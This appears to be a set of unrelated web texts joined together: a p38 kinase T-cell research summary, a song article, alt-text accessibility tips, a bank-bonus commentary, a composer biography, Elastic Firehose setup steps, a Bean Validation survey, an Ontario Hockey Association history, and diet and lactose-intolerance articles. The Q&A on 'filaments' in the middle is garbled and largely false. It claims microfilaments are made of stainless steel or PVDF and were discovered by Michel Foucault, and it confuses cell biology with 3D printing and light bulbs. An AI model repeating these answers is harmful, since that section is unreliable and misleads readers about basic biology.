Tyr-323.-Gadd45a specifically binds to p38 (whether phosphorylated or not) and inhibits the activity of the p-Tyr-323 form. Importantly, Gadd45a binding does not inhibit the activity of p38 phosphorylated by MKK6 (on Thr-180/Tyr-182).-p38 phosphorylated on Tyr-323 is able to phosphorylate itself in trans;that is, one p38 molecule binds and phosphorylates another.-Auto-trans-phosphorylation involves just Thr-180 and not the canonical Tyr-182 found in the MAPK cascade.-The substrate specificity of mono-phosphorylated p38 is different from the di-phosphorylated form. This may explain why this alternative pathway has been evolutionarily conserved in T cells, because the biological effects of these two phosphorylated species would be expected to differ in vivo.-We generated p38 """"""""knock-in"""""""" mice in which Tyr-323 is replaced with a Phe (p38YF). Proving the physiologic importance of the alternative pathway, TCR-mediated activation is completely incapable of activating p38 in T cells from these mice.-T cells from p38YF knockin mice are slow to transit from G0 to G1 in the cell cycle upon stimulation via the TCR. Moreover, they make much less interferon-gamma when immunized with Toxoplasma gondii. Therefore, the alternative p38 activation pathway is important for normal T cell proliferation and immune/inflammatory responses.We have established two animal models that allow us to explore the importance of the alternative pathway in normal and pathophysiologic conditions. The findings include:- The p38alpha YF knockin mice have been crossed with the GADD45a knockout mice, and we found that the T cell hyperproliferation and autoimmunity was prevented. This establishes TCR-induced p38 activation as having a key role in autoimmune vasculitis.- We have made p38beta YF knockin mice and have crossed them to the p38alpha YF knockin mice (p38abYF). Quantitation of activated p38 in the various mutant animals allowed us to determine that p38alpha contributes about 70%, and p38beta about 30%, to total p38 activation via TCR signaling. The double knockin mice have more pronounced defects in T cell proliferation than mice with single mutations. Moreover, Th1 skewing is much reduced in cells from these animals, consistent with a decrease in sustained Tbet expression. These observations prove that p38alpha and p38beta are partly redundant, and that both need to be mutated to quantitate the importance of TCR-induced p38 activity in biological responses.- The p38abYF mice are significantly more resistant to two models of autoimmunity and inflammation: collagen-induced arthritis and experimental autoimmune encephalomyelitis. The former, in particular, is remarkably milder in the mutant mice, which had no evidence of severe joint involvement, whereas 75% or more of wild type mice developed ankylosis.- T cells from p38abYF mice file to upregulate critical transcription factors involved in Th17 skewing (NFATc1, IRF4) and, as a consequence, IL-17.- p38abYF mice mount a weak IL-17 response to Citrobacter and fail to clear the pathogen from the gut.- Membrane-permeable Gadd45a, but not an internal deletion mutant that can't bind p38, inhibits T cell proliferation and cytokine production by WT T cells.Our observations establish the alternative p38 pathway as the only mechanism for the activation of this important kinase upon TCR-mediated stimulation, and show that TCR-activated p38 plays a critical role in several mouse models of human disease. The data support the importance of the alternative p38 activation pathway as a molecular target.We are currently pursuing the following approaches to understand the alternative pathway and to develop reagents that might allow us to manipulate it in vivo:- Determine the crystal structure of p38 alpha in a complex with Gadd45 alpha- Perform high-throughput screening assays for compounds that will specifically inactivate the alternative pathway.

Life Is a Rock (But the Radio Rolled Me)
"Life Is a Rock (But the Radio Rolled Me)" is a 1974 song written by Norman Dolph (lyrics) and Paul DiFranco (music). It was recorded by an ad hoc group of studio musicians called Reunion, with Joey Levine as lead singer. The lyrics are a fast patter of 1950s, 1960s, and 1970s disc jockeys, musicians, songwriters, record labels, song titles and lyrics, broken only by the chorus, similar to the way the song "I've Been Everywhere" listed place names. Levine had previously been lead singer and co-writer of bubblegum music hits "Yummy Yummy Yummy" and "Chewy Chewy" by the Ohio Express. "Life Is a Rock" peaked at No. 8 on the Billboard Hot 100 chart and reached No. 33 on the UK Singles Chart.
The song's outro quotes "Baby I Need Your Loving" by the Four Tops, "Celebrate" by Three Dog Night, "I Want to Take You Higher" by Sly and the Family Stone, and "Uptight (Everything's Alright)" by Stevie Wonder.
The track was later covered by Tracey Ullman in 1983, and was featured in her 1984 album, You Broke My Heart in 17 Places.
Covers
The song was remade by Randy Crenshaw and released on 2001 Disney album Mickey's Dance Party under the name "Life Is a Rock (But the Radio Rolled Me...Again!)" The remake includes references not only to current and past music groups, but also to TV shows and internet slang, and some Disney characters.
A customized version of the song, "Life Is a Rock, but 'CFL Rolled Me", was the last rock and roll song played on the Larry Lujack show on WCFL in Chicago on March 15, 1976, before the station switched from Top 40 to beautiful music format. Rival AM station WLS had their own rendition: "Life Is a Rock, WLS Rolled Me". This was the first song played on WLS-FM when the famous callsign returned to the station in 2008, airing a classic hits format. In 1974, radio station KFRC in San Francisco also aired a specially tailored take on the song, "Life Is a Rock, but KFRC Rolled Me", with an extra verse naming all of the station's then-current personalities. The verse was sung by KFRC's afternoon personality Chuck Buell. 980, WRC in Washington, DC, also had a personalized version that was played on the air (this actually was common among the big Top 40 AMs of the day with special copies cut for their station).
Tracey Ullman recorded a cover that was included on her first album You Broke My Heart in 17 Places in 1983.
In 1988 McDonald's produced a jingle heavily influenced by the song for its "$1,000,000 Menu Song" promotion. The McDonald's recording, with an identical melody and a rapidly spoken list of menu offerings recited in an identical monotone pitch and rhythm, was released as a mass giveaway in the form of a 33-1/3 RPM flexible plastic single.
An early 1990s ad campaign for Tysons Corner Center in northern Virginia used the tune but substituted lyrics listing the stores found at the shopping mall at the time, naming the remake "We've Got 'Em All". The lyrics "We've got 'em all at Tysons Corner/Have we got a mallTysons Corner Center" served as the chorus.

There are times that images shouldn’t be read because they would be repetitive or not add any value to the content.
The alt attribute is still required
• To be valid html, the alt attribute must still be present, even if empty
• When the alt attribute is empty, the screen reader ignores it.
• When the alt attribute is missing, the screen reader will read the src url or filename of the image.
Reinforce decorative images with aria-hidden
• Use aria-hidden="true" as a backup and reinforcement:
• As a backup: developers often mistakenly omit the alt attribute entirely, meaning that some screenreaders will read the entire filename.
• As a reinforcement to ensure the screenreader ignores the image. Screenreaders have been observed reading an image role when the alt attribute is present but empty.

Stocks Are Potential Bright Side to Lower Wall St. Compensation
Breakingviews It’s bonus day at Goldman Sachs. It also happens to be the day that the Wall Street company reports earnings for the final quarter of 2015. So employees are getting a peek at the lay of the land before sitting down for their annual pay review. It’s not, on the face of it, encouraging: Compensation has fallen on average 8 percent from 2014. But the news at Goldman and other rivals may have a silver lining. First, Wall Street professionals are still making enviable pay. Average overall compensation last year was $344,000 at Goldman. At Morgan Stanley, it was $285,000, even after an 11 percent cut. Investment bankers and traders bore the brunt of the drop as Morgan Stanley slashed the division’s compensation pool 17 percent even as revenue rose 6.4 percent. It’s a smart move by a bank that is not yet earning enough to cover its cost of capital. Investors are eagerly awaiting guidance from management about when higher short-term interest rates will impact the banks’ bottom lines. Employees at JPMorgan Chase’s investment banking unit fared better. They face an average cut of just under 1 percent to $203,000, even though the overall pool is 4.5 percent lower – the division employs almost 4 percent fewer people. For those not cheered by reminders of their relative wealth, there’s something else to think about. The shares of the three banks – along with those of many other financial companies – have fallen in value so much in the last couple of weeks that all now trade below book value. In fact, Goldman and Morgan Stanley shares trade below the even-lower tangible book value. That means Goldman, Morgan Stanley and JPMorgan shares are worth less than each bank’s theoretical breakup value. On the other hand, it may signal that a broader crisis is in the offing, one that might hurt earnings or the value of assets on the balance sheet. That would be bad news for most banker wallets, with the exception of restructuring experts. If, though, shareholders are overreacting to fears about China, oil and other issues, Wall Street employees paid partially in stock may be getting one of the best deals in years. Goldman shares, for example, have not traded below tangible book value on bonus day since January 2012. If markets shrug off the current jitters, the rise in bank stock prices should more than make up for the bonus shortfall.

Francisco Llácer Pla
Francisco Llácer Pla (1918 in Valencia – 2002 in Valencia) was a Spanish composer and choral conductor. He was one of the first Valencian composers who assimilated the postwar avantgarde approaches, combining it with lyricism and echoes of the Valencian folklore. Tomás Marco wrote: Llácer Pla offers a new, suggestive vision of a form of musical nationalism from a new, progressive perspective. A professor at the Valencia Conservatory, several of his progressive works are based in his harmonic investigations, such as his concept of heptafonism and his theory of the "balanced chord", based on the double sense of the sonorous bodies' resonance.
On October 7, 2005 he was named Valencia's favorite son.
Quotes
"I work on a preliminary design of the material, but not just at an harmonic level. On the base of the dodecaphonic series I first construct a linear design, which usually has consequences in the verticality of the music, since my balanced chords are usually intimately bounded with the linear design. Sometimes two balanced chords generate the dodecaphonic range which I use as a sonorous background from where I extract the thematic material. I believe that maybe, in my preconscious, though in an unclear way, there's always an explorative eagerness."

What are filaments in biology?
Flores. Filaments are defined as thread-like cell extensions that can extend to a length of over 25 mm or more, and when they are formed by amoeba, they usually resemble the radial symmetry of yeast, such as Rhizopus or S. cerevisiae. In these amoeba, they can spread into a net.
What do Microfilaments do?
Microfilaments are usually made of stainless steel for strength and flexibility. They are the smallest filaments, usually only measuring 1/64″ long. They are also used in many medical and surgical devices, including pacemakers and defibrillators.
Additionally, what is a filament and what does it do?
is a very common one, but it is possible that a user would know more about this topic because they deal with something else. The filament of a 3D printer is the thread that holds the parts together and is typically plastic, though glass and composite filaments are available.
What are filaments made of?
Glass fibers are long strands of glass that can come in a variety of different colors or different colors – like white, amber, clear, iridescent, or rainbow fibers. The strands of glass can also vary in diameter or can have a core or a sheath. The core fiber is made of glass, while the sheath can be a material like fiberglass.
What is Centrioles in biology?
Discovery of Centrioles. Scientists are learning and exploring about centrioles and their many important functions in the reproduction of plant and animal cells. The centrioles originate at the very tip of the sperm.
What are the three types of cytoskeletal filaments?
Cytoskeleton filaments are made up of three specific types – microfilaments: microfilaments are made of parallel-running actin and myosin proteins, which together form actomyosin fibers. Microtubules and intermediate filaments: A single tubulin protein binds multiple, short microtubules.
How does a filament glow?
The filament is the most important part to the LED. It starts the reaction. It should be between the two electrodes (cathode and anode) and has the ability to conduct electricity by producing an electric field of about 1,000 volts between the two electrodes. With enough electrical charge, light will be produced.
What are Microfilaments made of?
Microfilaments are made of polyvinyl alcohol or its derivative Polyvinylidene fluoride (PVDF). This process is similar to the process of blowing a glass fiber. However, the spinning of microfibers requires a higher temperature and is more complex.
How are actin filaments formed?
Actin filaments are produced by polymerization of actin molecules to form filaments, which then polymerize to form thicker structures called F-actin. Actin monomers bind to the pointed ends of actin filaments and assemble to form a filament.
How are Microfilaments formed?
If there is a protein that forms a filament it will bind to a phosphate and form a small bundle. These bundles are called microfilaments and are made up of actin proteins. Filaments are bundled together if they have an affinity for each other. If there is no affinity they go their separate ways.
How do lightbulbs work?
They work by generating light with electricity. This electricity is usually supplied by a high-voltage DC source such as a generator. In some lamps, like fluorescent lights, the electricity is converted to high-frequency alternating current (AC) in a step-up transformer.
Who discovered Microfilaments?
Michel Foucault
Where are Microfilaments found?
Microfilaments are found in cells (mostly muscle) and the walls of blood vessels. The strands of microfilaments are found together with actin filaments or other filamentous material.
People also ask, what are filaments in cells?
Filaments, tiny fibers that extend from the nucleus to the cell membrane and are called as “cytoskeleton “, can be found in every cell, both animal and plant, but they cannot be recognized without special stains. So filament, a group of these threads, is called the cortical cytoskeleton or the cortical skeleton.
What is the function of anther?
In the vegetative body of a flowering plant, anthers produce pollen grains, the reproductive cells of the plant, which are transported to the female organs, where fertilization occurs. The anther wall is an outer wall, which protects the other male organs and is similar to the epidermis in animals, like the protective layer of skin or feathers.
What is filament used for?
Filament is a commonly used and relatively simple tool for the rapid prototyping. It is a flexible material that can be fed through a syringe and, when heated to its melting point, becomes thermoplastics. Some filament materials such as ABS are already made to be meltable. Other materials are made into a filament.
Also, what is filamentous in biology?
Plants and animal tissue contain very flexible filaments called microtubules. Microtubules are tubular structures found in all cells and are composed of protein.
What are incandescent lights used for?
An incandescent light bulb produces light by making electricity spark into a metal filament, which glows by conducting heat energy from the filament to outside air. They are used in many things, such as street lights and inside your home. They are commonly used for special effects on stage and stage lighting.
What do you mean by filament?
A filament is a long, thin piece or fiber that is made by stretching and heat-setting (annealing) of material. Most 3d printing filaments are made from heat-resistant PLA (polylactic acid).
What is plastic filament?
The filaments are manufactured from the materials that make up the plastic or polymers. The most common materials used to make filament are polymers such as polyester, nylon, and polypropylene. The plastic properties of the filament material come from the polymer molecules.
What is the difference between LED and filament bulbs?
They both consume less electricity, but the LED bulb lasts longer, is less likely to burn out, and has a longer lifespan. So where it’s most important, it’s a great buy. It costs slightly more to make than the equivalent traditional bulb bulb.
How do filaments work?
A filament is a continuous strand of molten carbon that, when extruded, can be made into a number of different materials including nylon, Teflon or carbon fiber. The resulting material is then formed from one or more of the three basic types of filament: wire, tape, and fiber.

The Importance of Minerals in The Athlete's Diet
A good, healthy diet must contain a balanced amount of minerals. In this article we'll show you which foods you can eat to benefit from those much needed minerals.
The Importance of Minerals in The Athlete's Diet
Last update: 24 January, 2019
A healthy diet is mainly based on the consumption of various types of food that include carbohydrates, proteins, fats, and vitamins. However, we can’t forget about the importance of minerals in a healthy and balanced diet.
The importance of minerals
Minerals are inorganic components found in our food. They are essential elements for our organism and play a part in many vital processes in the body. Here are the main roles of dietary minerals.
• They contribute to a healthy body. For example, phosphorus, calcium, fluoride, magnesium, and silicon make up the teeth.
• They also act as electrolytes in body fluids. They help maintain healthy blood pressure and the correct ph balance in the body.
Here’s a summary of the importance of minerals in the body and how to include them in your diet.
Calcium
Calcium is used all over the body, including connective tissues, muscles, and especially in bones. Additionally, along with potassium and magnesium, it plays an essential role in blood circulation.
The importance of minerals in the body is evident in muscle and bone strength
Not to mention that it also plays a big role in muscle contraction, which is essential for athletes. You may find it in foods such as vegetables, nuts, and milk products.
Sodium
Sodium helps the body distribute water to different parts of the body. However, a high level of sodium in the body can lead to high arterial pressure, which causes fluid retention. On the other hand, a low level can lead to nausea, vomiting, headaches, and problems with vision.
The main dietary source of sodium is salt. We can find salt naturally in most foods, thus we must be careful not to add too much extra salt to our food.
Potassium
Like sodium, potassium plays an important role in regulating water content in the body. Additionally, it helps the heart and the nervous system work properly. Low levels of potassium can lead to muscle aches, weakness, exhaustion, and asthenia.
One of the main causes of a potassium deficit in the body is over exercising since it’s easily lost in perspiration.
Eggplants are a good source of potassium
We can find potassium in broccoli, eggplants, cauliflowers, and fruits like avocados, bananas, and cherries.
Phosphorus
The importance of minerals in the diet is due to the large role they play in many bodily functions. For example, phosphorus makes up bones and lipids, which are an important part of cell membranes. Its concentration is directly related to the amount of calcium in the body.
This mineral can be found in the same foods that contain calcium, such as nuts, vegetables, soy, and milk.
Magnesium
Magnesium is important in order to absorb calcium in the body. Additionally, it’s essential for a healthy heart and muscle development. Along with calcium, it also plays a role in bone structure.
We can find magnesium in hazelnuts, almonds, peanuts, cereals, beans, and fruits.
Almonds are a great source of magnesium
Iron
When we consider the different levels of importance of minerals in the body, iron plays one of the largest roles. It helps with the synthesis of hemoglobin, which transports oxygen from the lungs to the red blood cells and then to the rest of the body. Additionally, it helps regulate the use of vitamin B.
An iron deficiency causes anemia, and it’s important to maintain healthy levels in your body. Some iron-rich foods are legumes, fruits, nuts, and cereals. Also, other sources include animal-based products such as red meat and seafood.
You can get iron from chickpeas
In this article, we learned about the importance of minerals in a diet, especially for an athlete. These are just some of the most important minerals, but you must maintain a varied and balanced diet to benefit from them all. They play a very important role in your wellbeing.

Limitation
It is not possible to configure a delivery stream to send data to Elastic Cloud via PrivateLink (VPC endpoint). This is a current limitation in Firehose, which we are working with AWS to resolve.
Instructions
1. Install the relevant integrations in Kibana
In order to make the most of your data, install AWS integrations to load index templates, ingest pipelines, and dashboards into Kibana. In Kibana, navigate to Management > Integrations in the sidebar. Find the AWS integration by searching or browsing the catalog.
Navigate to the Settings tab and click Install AWS assets. Confirm by clicking Install AWS in the popup.
2. Create a delivery stream in Amazon Data Firehose
Sign into the AWS console and navigate to Amazon Data Firehose. Click Create Firehose stream. Configure the delivery stream using the following settings:
Choose source and destination
Unless you are streaming data from Kinesis Data Streams, set source to Direct PUT (see Setup guide for more details on data sources).
Set destination to Elastic.
Delivery stream name
Provide a meaningful name that will allow you to identify this delivery stream later.
Destination settings
1. Set Elastic endpoint URL to point to your Elasticsearch cluster running in Elastic Cloud. This endpoint can be found in the Elastic Cloud console. An example is https://my-deployment-28u274.es.eu-west-1.aws.found.io.
2. API key should be a Base64 encoded Elastic API key, which can be created in Kibana by following the instructions under API Keys. If you are using an API key with “Restrict privileges”, be sure to review the Indices privileges to provide at least "auto_configure" & "write" permissions for the indices you will be using with this delivery stream.
3. We recommend leaving Content encoding set to GZIP for improved network efficiency.
4. Retry duration determines how long Firehose continues retrying the request in the event of an error. A duration of 60-300s should be suitable for most use cases.
5. Elastic requires a Buffer size of 1MiB to avoid exceeding the Elasticsearch http.max_content_length setting (typically 100MB) when the buffer is uncompressed.
6. The default Buffer interval of 60s is recommended to ensure data freshness in Elastic.
7. Parameters
1. Elastic recommends setting the es_datastream_name parameter to logs-awsfirehose-default in order to leverage the routing rules defined in this integration. If this parameter is not specified, data is sent to the logs-generic-default data stream by default.
2. The include_cw_extracted_fields parameter is optional and can be set when using a CloudWatch logs subscription filter as the Firehose data source. When set to true, extracted fields generated by the filter pattern in the subscription filter will be collected. Setting this parameter can add many fields into each record and may significantly increase data volume in Elasticsearch. As such, use of this parameter should be carefully considered and used only when the extracted fields are required for specific filtering and/or aggregation.
3. The include_event_original field is optional and should only be used for debugging purposes. When set to true, each log record will contain an additional field named event.original, which contains the raw (unprocessed) log message. This parameter will increase the data volume in Elasticsearch and should be used with care.
3. Send data to the Firehose delivery stream
Consult the AWS documentation for details on how to configure a variety of log sources to send data to Firehose delivery streams.

Bean Validation
Survey - Where do you use constraints on parameterized type?
Posted by Emmanuel Bernard | 23 Nov 2016 feedback
For Bean Validation 2, we are working on the support for Collection<@Email String>, Optional<@Min(3) Integer> etc. This has been a very common request and with Java 8 type use support, we can how achieve this. However, we need your feedback on how you would use such feature.
Some context
We have support not only for collections, Optional, Java FX properties but also for what we call custom parameterized containers. We are wondering a few things about custom parameterized containers, namely how common they are. This will affect the trade-offs we want to make on the design of that feature.
What is a container?
A container is a type that wraps and exposes one or several values. The values is what you want to apply your constraints on. And the container is parameterized because at use site, you can declare what type it actually contains. For a Set<@Email String>, we want to make sure every string in the set is an email.
Another less obvious example is a tuple class.
public class Pair<V1,V2> {
V1 getV1() { ... }
V2 getV2(); { ... }
}
public class Address {
// street1 is mandatory, street2 is optional
// represented via a Pair object
Pair<@NotNull @Size(max=250) String, @Size(max=250) String> streetFields;
}
Other examples are:
• a tree structure containing specific object types
• Guava’s Multimap (or any multimap for that matter)
Questions
We are wondering which type of parameterized containers you have in your code base and how likely you are going to apply constrains on their contained value. The form is a list of short questions that will help us get a better picture.
Here is the link to the form in a separate page or use it directly embedded below.
Many thanks!

Ontario Hockey Association
The Ontario Hockey Association (OHA) is the governing body for the majority of junior and senior level ice hockey teams in the province of Ontario. Founded in 1890, the OHA is sanctioned by the Ontario Hockey Federation along with the Northern Ontario Hockey Association. Other Ontario sanctioning bodies along with the OHF include the Hockey Eastern Ontario and Hockey Northwestern Ontario. The OHA controls three tiers of junior hockey; the "Tier 2 Junior "A", Junior "B", Junior "C", and one senior hockey league, Allan Cup Hockey.
In 1980, the Ontario Major Junior Hockey League vacated what was known as Tier I Junior "A" hockey. The league is now known as the Ontario Hockey League. Although it is not a charter member of the OHA, the OHL is affiliated with the OHA and Ontario Hockey Federation.
Founding
The OHA was founded in 1890 to govern amateur ice hockey play in Ontario. This was the idea of Arthur Stanley, son of Lord Stanley, then Governor General of Canada. Arthur played for the Ottawa 'Rideau Hall Rebels' and in the course of exhibition play against other teams in Ontario, convinced team officials to hold a meeting in November 1890 to discuss the idea. On November 27, 1890, at the Queen's Hotel in Toronto, delegates from hockey clubs around Ontario formed the Ontario Hockey Association.
The first executive was:
* A. Morgan Cosby, Toronto Victoria Club, president,
* John Barron, vice-president,
* Henry Ward, vice-president,
* C. K. Temple, Toronto St. George's Club, treasurer,
* C. R. Hamilton, Toronto Victoria Club, secretary
Early history
In the beginning, the OHA had one league of senior men's hockey teams. This group included teams from Ottawa, Kingston, Toronto, and London. In the first years, the schedule consisted of this group playing a series of elimination playoffs leading to a single-game final playoff. For the first three years the Ottawa Hockey Club was the champions, winners of the Cosby Cup. In 1894, the Ottawa team and the Association came to a disagreement over the venue of the finals, and Ottawa left the league. This was a schism that would lead to the forming of the Ottawa District Hockey Association, governing most of eastern Ontario ice hockey play.
In 1892, the junior-level was introduced for play at a lower level. It was not age-limited to young men under the age of 20 until 1896, when the OHA introduced the 'intermediate'-level play bracket. In 1919, the Memorial Cup was introduced, first called the 'OHA Memorial Cup', and was first won by University of Toronto Schools (UTS). It became the national championship trophy for junior-level play.
In 1897, the intermediate level was introduced. This was to organize teams of a lower standard than the seniors. The first champions were Berlin, defeating the Frontenacs 3–0.
Stanley Cup
From 1893 to 1908, teams from the OHA could and did challenge for the Stanley Cup, including:
* Ottawa Hockey Club (was in both AHAC and OHA),
* Queen's University of Kingston,
* Toronto Marlboros,
* Toronto Wellingtons
As senior-level play became professional, Stanley Cup challenges by the amateur clubs ceased, having been banned from play against professionals. After the introduction of the Allan Cup in 1908, clubs from the OHA would compete for that instead. The Ontario Professional Hockey League started to play in 1908 for senior-level men's pro hockey teams in Ontario. Champions of the OPHL would continue to challenge for the Stanley Cup. The senior-level men's league of the OHA is today composed of the six teams of Allan Cup Hockey.
1920s to 1970s
In 1924, the OHA voted to keep its ban on professional coaches in amateur hockey. When Queen's University at Kingston hired a full-time athletic director, OHA secretary W. A. Hewitt felt that the OHA should allow the director's involvement with the hockey team despite him being a paid professional. Hewitt proposed an amendment to the constitution which would allow the executive to scrutinize any coach and decide on the registration. The amendment was rejected by delegates who remained against any professionals in the OHA. Two years later, Hewitt brought up the issue again and argued that, "the original intention of this rule was to control the [professional] coach, not exterminate him". His constitutional amendment was subsequently approved in the late-1920s.
When the OHA contract with Arena Gardens was up for renewal in the late-1920s, some executives preferred the Ravina Gardens where teams could get 50 per cent of the gate receipts, compared to only 35 per cent of the gate receipts at the Arena Gardens. Hewitt argued that 35 per cent of a larger arena in an established part of the city would be more profitable than 50 per cent of a smaller arena under construction in a newer part of the city. Hewitt promised to negotiate a better deal, in exchange for the contract with Arena Gardens to be renewed on a year-by-year basis. The OHA signed multiple five-year contracts with Maple Leaf Gardens, in which all Toronto-based teams in the OHA played home games at the arena, except for the University of Toronto teams.
1980s to present
The trophy emblematic of Canadian Intermediate Hockey supremacy was the Hardy Cup. Only three teams from Ontario ever won the Hardy Cup (that ran from 1968 to 1990), two from the OHA: Georgetown Raiders in 1982 and Dundas Real McCoys in 1986. The third Ontario team was the Embrun Panthers of the Ottawa District Hockey Association. The intermediate classification was abolished in 1983 by the OHA. The top league, Major Intermediate A Hockey League was divided between the OHA Senior A Hockey League and the various Senior B leagues.
In September 1985, the Supreme Court of Ontario ruled against an appeal for a girl to play in the OHA, stating that the Canadian Charter of Rights and Freedoms was not violated since the OHA was a private organization. In June 1986, the Court of Appeal for Ontario overturned the decision which was then upheled by the Supreme Court of Canada. The OHA's position had been that girls could not play on a boys' team when equal opportunity existed to play on a girls' team in her geographic area.
The OHA Senior A Hockey League ceased operations after the 1986–87 season, when it was reduced to three teams and the OHA was unable to find new teams. The league had become cost-prohibitive, and needed to cut costs and restructure senior ice hockey to compete for the Allan Cup.
During the summer in 1989, the Metro Toronto Hockey League (MTHL) and the Ontario Minor Hockey Association (OMHA), broke away from the OHA and formed the Central Canada Hockey Association, due to disagreement with an OHA restructuring proposal which would have limited their voting powers. The dispute ended when the Ontario Hockey Federation (OHF) was established, with equal representation for the OHA, Northern Ontario Hockey Association, MTHL, and OMHA. The OHF was given the mandate to oversee hockey in Ontario, and be a review panel for three years to propose further restructuring if necessary.
The OHA established bursaries as of the 1995–96 season, to counter the loss of players to scholarships in the United States. The OHA awarded the bursaries to students chosen to attend the University of Windsor, University of Waterloo, and Wilfrid Laurier University.
On-ice violence
In 1986, the Ontario Hockey Association, concerned with growing violence in hockey, suspended the Streetsville Derbys and the Brantford Classics from playing in the 1986–87 season. The suspension of the Derbys had to do with a stick-swinging incident in the final game of the league quarter-final against the Nobleton Devils. A Nobleton player was struck in the back of the head with a two-hand slash, which also struck a linesman and cut his eyelid. Brantford's suspension was related to a violent playoff brawl against the St. Catharines Falcons.
In 1987, the Port Elgin Bears withdrew from a Western Ontario Junior C Hockey League playoffs series due to perceived on-ice violence by the Hanover Barons. The OHA investigated the incident, which received national publicity when Port Elgin's coach was supported by Otto Jelinek, the Canadian Minister of State for Fitness and Amateur Sport. Port Elgin team officials were given one-year suspensions when the OHA found no evidence to justify abandoning the series.
Hazing incidents
When 13 people from the Tilbury Hawks were charged with sex-related crimes in 1994, the OHA sought to eliminate hazing from and suspended the team's officials for one year. Team trainer Paul Everaert and captain Ed Fiala pleaded guilty to their charges and were fined a total of $6,000. The team was forced out of Tilbury by the end of the 1993–94 season, relocating to Walpole Island and folding in 1999. The team was a part of an investigation and subject matter of an episode of The Fifth Estate.
In 1997, parents of players on the Kingsville Comets spoke out against hazing and campaigned for its end. The OHA stated it must educate its teams and players annually on acceptable practices to prevent incidents and change future behaviour. Each team was required to have a youth worker serving as a prevention services co-ordinator; and handbooks were given to players annually which covered hazing, alcohol, drug use, tobacco, and sexual harassment. The OHA then requested that the Canadian Amateur Hockey Association (CAHA) include the education in coaching certification programs, and for it to be available to all hockey administrators.
Restructuring junior hockey
The Ontario Hockey League (OHL) split from the OHA in July 1982. The OHA and OHL disagreed on financial terms of affiliation, then the OHL decided to handle its own administration. The OHA and the OHL later reached an interim affiliation agreement, which allowed the OHL to compete at the Memorial Cup.
In 1993, the Metro Junior B Hockey League and Central Junior B Hockey League, the OHA's two Toronto-area Junior B leagues, were officially recognized by the OHA as Junior A Leagues. The three remaining leagues, the Mid-Western Junior Hockey League, Western Ontario Hockey League, and Golden Horseshoe Junior Hockey League, who had been more dominant than their Toronto-area sister leagues in the Sutherland Cup department, were left to their own devices.
The Metro Junior A Hockey League (MetJHL) operated independent from the OHA as of the 1995–96 season, when it was opposed to a ruling by the CAHA which gave jurisdiction over junior hockey in the province to the OHA. Several teams departed the MetJHL to join the Ontario Provincial Junior A Hockey League (OPJHL) which was affiliated with the OHA. The MetJHL insisted on its own administration and was opposed to paying fees to the OHA. The MetJHL rejoined the OHA in 1997, then merged into the OPJHL in 1998.
In 2001, the OHA appointed Vern Stenlund as its first "master mentor coach", to improve the quality of coaching and the player experience in junior hockey.
In 2007, the three Southwestern Ontario leagues opted to merge to form a 27-team superleague, the Greater Ontario Junior Hockey League in hopes of eventually being promoted to Junior A and to attempt to prevent player poaching from the 37-team Ontario Provincial Junior A Hockey League.
OHA president Brent Ladds led the study "Tomorrow's Game" to help teams manage their finances and volunteers, which began in 2006 as a survey of teams and leagues to assess priorities and gather recommendations. The study also proposed restructuring junior hockey as of the 2010–11 season, which would have reclassified teams from A to D levels, into a premier league and two developmental leagues. Teams in the proposed premier league would have been required to employ a full-time coach, doctor, nutritionist, and athletic trainers. Ladds felt that junior hockey in Ontario needed to be more attractive to players, who were departing the OHA for leagues elsewhere in Canada.
Presidents
The OHA was governed by elected presidents from 1890 to 1980. From 1980 onward, a board of directors was elected, with a full-time employee to execute duties as the president.
List of elected presidents of the OHA:
Administrators
W. A. Hewitt was named secretary of the OHA on December 8, 1903, to succeed William Ashbury Buchanan. As the secretary, Hewitt was the de facto referee-in-chief of the OHA. He spoke annually at referee meetings to review interpretations of new and existing rules of play, and sought consistency and more strict enforcement of the rules when dealing with dissent and physical play.
In January 1948, the OHA hired George Panter as an assistant secretary, then later made Panter its business manager to oversee day-to-day operations. Hewitt retained his office at Maple Leaf Gardens where he kept the OHA's records, despite that a new office was opened across the road. Bill Hanley became the business manager in 1951, and Hewitt's role gradually decreased. The OHA established a permanent referee-in-chief position in 1952, and lessened the workload on Hewitt. Hewitt retired in May 1966, then the OHA transferred the secretary's duties to Hanley and renamed his position from business manager to secretary manager. Hanley served as secretary manager until he retired in 1973, when he was succeeded by David Branch who filled the role until 1977.
Brent Ladds was appointed secretary-manager of the OHA on July 6, 1977. He was appointed president of the OHA on April 28, 1980, after a restructuring from an elected president into an elected chairman and an appointed president. He was to focus on the increasing business demands on the OHA, fundraising and publicity, and be a technical co-ordinator. He became the first paid full-time president of the OHA. He retired as OHA president in June 2012. He stated that when he began working for the OHA, he dealt with "three or four bench-clearing brawls [each] weekend", but that culture had changed over time. He felt that the OHA had transitioned into being "a more nimble and responsive organization" than when he began; and was proud of his work to advance player safety and reduce on-ice injuries, which included increased penalties for rough play and certification programs for coaches and referees.
Jurisdiction
Empowered by Hockey Canada, the OHA governs all Ontario senior and junior hockey not administered by Hockey Northwestern Ontario, Hockey Eastern Ontario, or Northern Ontario Hockey Association. This does not include the Greater Metro Junior A Hockey League or Western Ontario Athletic Association (at the Senior level), which are run outside of Hockey Canada's jurisdiction and are not affiliated.
Hockey Eastern Ontario represents the part of Ontario East of and including Lanark County, Renfrew County, and Leeds County, but not including the town of Gananoque. Hockey Northwestern Ontario has control of the section of Northwestern Ontario west of the 85th meridian.

How Long Do Lactose Intolerance Symptoms Last [Updated]
If you cannot digest milk and milk products, you are likely to suffer from lactose intolerance. More than 65% of people encounter this issue, and this is quite common.
To break apart the lactase molecules, our small intestine produces an enzyme called lactase. However, if our body cannot produce enough lactase enzymes, it leads to lactose intolerance. Around 70% of people are unable to produce sufficient lactase enzymes by reaching adulthood.
According to healthline, lactose intolerance may last up to 24 hours to 48 hours. Until the lactose passes through your digestive system. You may feel experience the symptoms after 30 minutes to 2 hours of consuming the dairy.
Some of the symptoms of lactose intolerance are:
• Vomiting
• Bloating
• Diarrhea
• Gas
• Stomach Pain
• Nausea
• Stomach rumbling
Differentiating Milk Allergy from Lactose Intolerance
When you have an allergic reaction from drinking milk due to the protein present in the milk, it is a sign of Milk Allergies. On the other hand, lactose intolerance is primarily related to a lack of enough enzyme lactase to break down the lactose present in the milk.
When you experience food allergies, You may experience serious symptoms like:
• Throat and facial swelling
• hives
• Itching
How Long Do Lactose Intolerance Symptoms Last?
Although, there are no such series of implications due to lactose intolerance. However, it leads to stomach discomfort. The severity of the issue is directly related to the amount of milk or milk product you have consumed. It takes almost 48 hours to get the milk completely out of your digestive system. As long as the milk lasts in your digestive tracts, the symptoms of lactose intolerance last.
